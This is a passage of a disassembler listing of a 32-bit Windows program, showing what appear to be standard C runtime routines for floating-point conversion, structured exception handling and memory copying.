loc_41D118:				; CODE XREF: sub_41D055+84j
		call	sub_4218B4
		add	esp, 1Ch


loc_41D120:				; CODE XREF: sub_41D055+59j
					; sub_41D055+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41D055	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D124	proc near		; CODE XREF: ___:0041C16Dp
					; sub_422152+21p
					; DATA XREF: ...
		call	sub_41D13C
		call	sub_422152
		mov	dword_4DBE30, eax
		call	sub_422102
		fnclex
		retn
sub_41D124	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41D13C	proc near		; CODE XREF: sub_41D124p
		mov	eax, offset sub_422540
		mov	off_43D424, offset sub_4221D5
		mov	off_43D420, eax
		mov	off_43D428, offset sub_42223B
		mov	off_43D42C, offset sub_42217B
		mov	off_43D430, offset sub_422223
		mov	off_43D434, eax
		retn
sub_41D13C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D174	proc near		; CODE XREF: sub_40D2F4+1Bp
					; sub_40D2F4+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_41D174	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41D19B(double)

sub_41D19B	proc near		; CODE XREF: sub_40D340+82p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43AE28
		call	sub_422089
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41D221
		call	sub_421F51
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41D204
		cmp	eax, 2
		jle	short loc_41D1F6
		cmp	eax, 3
		jnz	short loc_41D204
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_421861
		add	esp, 10h
		jmp	short loc_41D266
; ---------------------------------------------------------------------------


loc_41D1F6:				; CODE XREF: sub_41D19B+3Fj
		push	esi
		push	ebx
		call	sub_422089
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41D266
; ---------------------------------------------------------------------------


loc_41D204:				; CODE XREF: sub_41D19B+3Aj
					; sub_41D19B+44j
		fld	[ebp+arg_0]
		fadd	dbl_4276F8
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_41D25E
; ---------------------------------------------------------------------------


loc_41D221:				; CODE XREF: sub_41D19B+2Fj
		call	sub_421F16
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41D244


loc_41D236:				; CODE XREF: sub_41D19B+ACj
		push	esi
		push	ebx
		call	sub_422089
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41D266
; ---------------------------------------------------------------------------


loc_41D244:				; CODE XREF: sub_41D19B+99j
		test	bl, 20h
		jnz	short loc_41D236
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_41D25E:				; CODE XREF: sub_41D19B+84j
		call	sub_4218B4
		add	esp, 1Ch


loc_41D266:				; CODE XREF: sub_41D19B+59j
					; sub_41D19B+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41D19B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D26A	proc near		; CODE XREF: ___:00422A22p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_41D26A	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_41D29E	proc near		; CODE XREF: sub_422B62+199p
					; sub_422D26+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41D29E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41D2A5	proc near		; CODE XREF: sub_422B62+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41D2A5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41D2AC	proc near		; CODE XREF: sub_41D45E+5Cp
					; sub_4229B1:loc_4229E2p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_41D2D4
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_426356
sub_41D2AC	endp

; ---------------------------------------------------------------------------


loc_41D2D4:				; DATA XREF: sub_41D2AC+11o
		mov	eax, [ebp+0Ch]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+0Ch]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp-8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_41D2FB:				; CODE XREF: ___:00426AACj
					; ___:00426AC9j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_4225B6
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D331	proc near		; CODE XREF: sub_422A2C+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_41D385
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_422DB0
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_41D331	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D385	proc near		; DATA XREF: sub_41D331+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_4225B6
		add	esp, 20h
		pop	ebp
		retn
sub_41D385	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D3AA	proc near		; CODE XREF: sub_4227F8+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_41D45E
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_41D430
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_4DBE70
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_41D430:				; DATA XREF: sub_41D3AA+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_41D44D
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_41D456
; ---------------------------------------------------------------------------


loc_41D44D:				; CODE XREF: sub_41D3AA+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_41D456:				; CODE XREF: sub_41D3AA+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D3AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D45E	proc near		; DATA XREF: sub_41D3AA+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_41D481
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41D4CE
; ---------------------------------------------------------------------------


loc_41D481:				; CODE XREF: sub_41D45E+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_4225B6
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41D4BF
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41D2AC
; ---------------------------------------------------------------------------


loc_41D4BF:				; CODE XREF: sub_41D45E+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_41D4CE:				; CODE XREF: sub_41D45E+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41D45E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D4D3	proc near		; CODE XREF: sub_422651+C6p
					; sub_4227F8+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_41D52A


loc_41D4F1:				; CODE XREF: sub_41D4D3+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41D4FB
		call	sub_422E52


loc_41D4FB:				; CODE XREF: sub_41D4D3+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_41D510
		cmp	ecx, [eax+8]
		jle	short loc_41D515


loc_41D510:				; CODE XREF: sub_41D4D3+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41D521


loc_41D515:				; CODE XREF: sub_41D4D3+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_41D521:				; CODE XREF: sub_41D4D3+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_41D4F1
		mov	eax, [ebp+var_4]


loc_41D52A:				; CODE XREF: sub_41D4D3+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41D53E
		cmp	esi, eax
		jbe	short loc_41D543


loc_41D53E:				; CODE XREF: sub_41D4D3+65j
		call	sub_422E52


loc_41D543:				; CODE XREF: sub_41D4D3+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_41D4D3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41D550	proc near		; CODE XREF: sub_423CC0+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset sub_41D568
		push	[ebp+arg_0]
		call	sub_426356
sub_41D550	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D568	proc near		; DATA XREF: sub_41D550+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41D568	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41D570	proc near		; DATA XREF: sub_41D592+Ao
					; sub_41D5FA+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_41D591
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_41D591:				; CODE XREF: sub_41D570+10j
		retn
sub_41D570	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D592	proc near		; CODE XREF: sub_422AD2+Dp
					; sub_423CC0+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_41D570
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_41D5AF:				; CODE XREF: sub_41D592:loc_41D5EAj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41D5EC
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41D5EC
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41D5EA
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41D626
		call	dword ptr [ebx+esi*4+8]


loc_41D5EA:				; CODE XREF: sub_41D592+44j
		jmp	short loc_41D5AF
; ---------------------------------------------------------------------------


loc_41D5EC:				; CODE XREF: sub_41D592+2Aj
					; sub_41D592+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41D592	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D5FA	proc near		; CODE XREF: sub_422AF2+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_41D570
		jnz	short locret_41D61C
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41D61C
		mov	eax, 1

locret_41D61C:				; CODE XREF: sub_41D5FA+10j
					; sub_41D5FA+1Bj
		retn
sub_41D5FA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D61D	proc near		; CODE XREF: sub_422DB0+1Ep
					; sub_422DB0+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43AE2C
		jmp	short loc_41D630
sub_41D61D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D626	proc near		; CODE XREF: sub_41D592+4Fp
					; sub_423CC0+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43AE2C
		mov	ecx, [ebp+8]


loc_41D630:				; CODE XREF: sub_41D61D+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41D626	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D640	proc near		; CODE XREF: sub_40D340+5p
					; sub_40D4E2+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_41D640	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41D65F	proc near		; CODE XREF: sub_40D977+26p
					; ___:004260F2p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41BA91
		pop	ecx
		retn
sub_41D65F	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D670	proc near		; CODE XREF: sub_40D9E8+3Ap
					; sub_41E742+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41D690
		cmp	edi, eax
		jb	loc_41D808


loc_41D690:				; CODE XREF: sub_41D670+16j
		test	edi, 3
		jnz	short loc_41D6AC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41D6CC
		rep movsd
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------


loc_41D6AC:				; CODE XREF: sub_41D670+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41D6C4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41D6CC+4[eax*4]
; ---------------------------------------------------------------------------


loc_41D6C4:				; CODE XREF: sub_41D670+46j
		jmp	dword ptr loc_41D7C8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D6CC:				; CODE XREF: sub_41D670+31j
					; sub_41D670+8Ej ...
		jmp	off_41D74C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41D6E0
		dd offset loc_41D70C
		dd offset loc_41D730
; ---------------------------------------------------------------------------


loc_41D6E0:				; DATA XREF: sub_41D670+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41D6CC
		rep movsd
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D70C:				; DATA XREF: sub_41D670+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41D6CC
		rep movsd
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41D730:				; DATA XREF: sub_41D670+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41D6CC
		rep movsd
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41D74C	dd offset loc_41D7AF	; DATA XREF: sub_41D670:loc_41D6CCr
		dd offset loc_41D79C
		dd offset loc_41D794
		dd offset loc_41D78C
		dd offset loc_41D784
		dd offset loc_41D77C
		dd offset loc_41D774
		dd offset loc_41D76C
; ---------------------------------------------------------------------------


loc_41D76C:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41D774:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41D77C:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41D784:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41D78C:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41D794:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41D79C:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41D7AF:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670:off_41D74Co
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41D7B8	dd offset loc_41D7C8	; DATA XREF: sub_41D670+35r
					; sub_41D670+92r ...
		dd offset loc_41D7D0
		dd offset loc_41D7DC
		dd offset loc_41D7F0
; ---------------------------------------------------------------------------


loc_41D7C8:				; CODE XREF: sub_41D670+35j
					; sub_41D670+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41D7D0:				; CODE XREF: sub_41D670+35j
					; sub_41D670+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D7DC:				; CODE XREF: sub_41D670+35j
					; sub_41D670+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41D7F0:				; CODE XREF: sub_41D670+35j
					; sub_41D670+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D808:				; CODE XREF: sub_41D670+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41D83C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41D830
		std
		rep movsd
		cld
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41D830:				; CODE XREF: sub_41D670+1B1j
					; sub_41D670+208j ...
		neg	ecx
		jmp	off_41D900[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D83C:				; CODE XREF: sub_41D670+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41D854
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41D854+4[eax*4]
; ---------------------------------------------------------------------------


loc_41D854:				; CODE XREF: sub_41D670+1D6j
					; DATA XREF: sub_41D670+1DDr
		jmp	off_41D950[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		push	880041D8h
		fadd	dword ptr [ecx+0]
		mov	al, 0D8h
		inc	ecx
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41D830
		std
		rep movsd
		cld
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41D830
		std
		rep movsd
		cld
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41D830
		std
		rep movsd
		cld
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41D904
		dd offset loc_41D90C
		dd offset loc_41D914
		dd offset loc_41D91C
		dd offset loc_41D924
		dd offset loc_41D92C
		dd offset loc_41D934
off_41D900	dd offset loc_41D947	; DATA XREF: sub_41D670+1C2r
; ---------------------------------------------------------------------------


loc_41D904:				; DATA XREF: sub_41D670+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41D90C:				; DATA XREF: sub_41D670+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41D914:				; DATA XREF: sub_41D670+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41D91C:				; DATA XREF: sub_41D670+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41D924:				; DATA XREF: sub_41D670+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41D92C:				; DATA XREF: sub_41D670+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41D934:				; DATA XREF: sub_41D670+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41D947:				; CODE XREF: sub_41D670+1C2j
					; DATA XREF: sub_41D670:off_41D900o
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41D950	dd offset loc_41D960	; DATA XREF: sub_41D670+1B7r
					; sub_41D670:loc_41D854r ...
		dd offset loc_41D968
		dd offset loc_41D978
		dd offset loc_41D98C
; ---------------------------------------------------------------------------


loc_41D960:				; CODE XREF: sub_41D670+1B7j
					; sub_41D670:loc_41D854j ...
		mov	eax, [ebp+arg_0]
